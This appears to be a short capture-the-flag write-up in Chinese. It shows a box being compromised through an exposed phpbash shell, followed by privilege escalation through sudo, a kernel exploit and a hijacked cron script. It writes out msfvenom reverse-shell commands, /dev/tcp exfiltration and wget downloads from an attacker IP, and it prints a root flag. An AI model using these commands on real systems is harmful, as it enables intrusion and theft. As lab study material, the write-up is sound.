Recon

  • RustscanWeb- dirsearch 發現 /dev/ 裡面有 phpbash

PHP Bash

  • 可以直接用 cat /etc/passwd 指令

Reverse shell

  • 直接戳習慣的 reverse shell 會自動離開改戳 msf 的 reverse shell- msfvenom -p linux/x86/shell_reverse_tcp LHOST=10.10.16.35 LPORT=7877 -f elf > shell就順利接上了- spawn shell- python -c 'import pty; pty.spawn("/bin/bash")'

提權

  • 起手式 sudo -l
  • 可以切換使用者到 scriptmanager
  • sudo -u scriptmanager bash
  • 跑 Linpeas 傳回來- cat s_peas.txt > /dev/tcp/10.10.16.35/1234使用 CVE-2017-16995 Kernel Exploit-
  • wget http://10.10.16.35/CVE-2017-16995/exploit
  • 成功提權取得 Root Flag- cc4f0afe3a1026d402ba10329674a8e2

提權 2

  • 觀察 /scripts裡面看起來 是 cronjob 跑 Python
  • 用 msf 再生一個 reverse shell (跟目前不同 port)- msfvenom -p linux/x86/shell_reverse_tcp LHOST=10.10.16.35 LPORT=7878 -f elf > shell1傳到靶機加權限- wget 10.10.16.35/shell1
  • chmod 777 shell1寫入 cron job 的 py- echo 'import os' >> test.py
  • echo 'os.system("/scripts/shell1")' >> test.py收到 Reverse shell-